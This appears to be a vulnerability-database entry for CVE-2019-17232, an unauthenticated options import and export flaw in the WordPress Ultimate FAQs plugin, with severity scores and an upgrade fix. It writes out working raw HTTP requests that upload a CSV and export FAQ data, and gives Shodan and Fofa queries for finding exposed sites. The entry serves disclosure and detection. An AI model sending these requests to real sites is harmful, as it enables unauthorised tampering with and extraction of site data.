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CVE-2019-17232: WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated Options Import and Export

TitleWordPress Ultimate FAQs <= 1.8.24 – Unauthenticated Options Import and Export
Authordaffainfo
SeverityHigh
ImpactUnauthenticated attackers can import arbitrary FAQs and configuration through CSV upload, potentially injecting malicious content or extracting existing FAQ data from the WordPress site.
RemediationUpdate the Ultimate FAQs plugin to version 1.8.25 or later.
CVSS Score7.5
EPSS Score0.18233
CVE IDCVE-2019-17232
CWE IDCWE-306
Shodan Queryhttp.html:"/wp-content/plugins/ultimate-faqs"
Fofa Querybody="/wp-content/plugins/ultimate-faqs"
Tags cve cve2019 wordpress wp-plugin wp ultimate-faqs unauth intrusive vkev vuln

🔍 Vulnerability Description

Functions/EWD_UFAQ_Import.php in the ultimate-faqs plugin through 1.8.24 for WordPress allows unauthenticated options import.

🌐 HTTP Request

POST /wp-admin/admin.php?page=EWD-UFAQ-Options&DisplayPage=ImportPosts&Action=EWD_UFAQ_ImportFaqsFromSpreadsheet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.5 Safari/537.36
Connection: close
Content-Length: 343
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary34ZHf69LbDjZlcL5
Accept-Encoding: gzip

------WebKitFormBoundary34ZHf69LbDjZlcL5

Content-Disposition: form-data; name="FAQs_Spreadsheet"; filename="eOeSASYY.csv"

Content-Type: application/csv



"Question","Answer","Categories","Tags","Post Date"

"38FXbcgY00bxEHuHF6O6rvR827h","38fxbcgy00bxehuhf6o6rvr827h","","","2025-09-17 17:16:33"

------WebKitFormBoundary34ZHf69LbDjZlcL5--
GET /wp-admin/admin.php?Action=EWD_UFAQ_ExportToSpreadsheet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17232.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-17232.pcap

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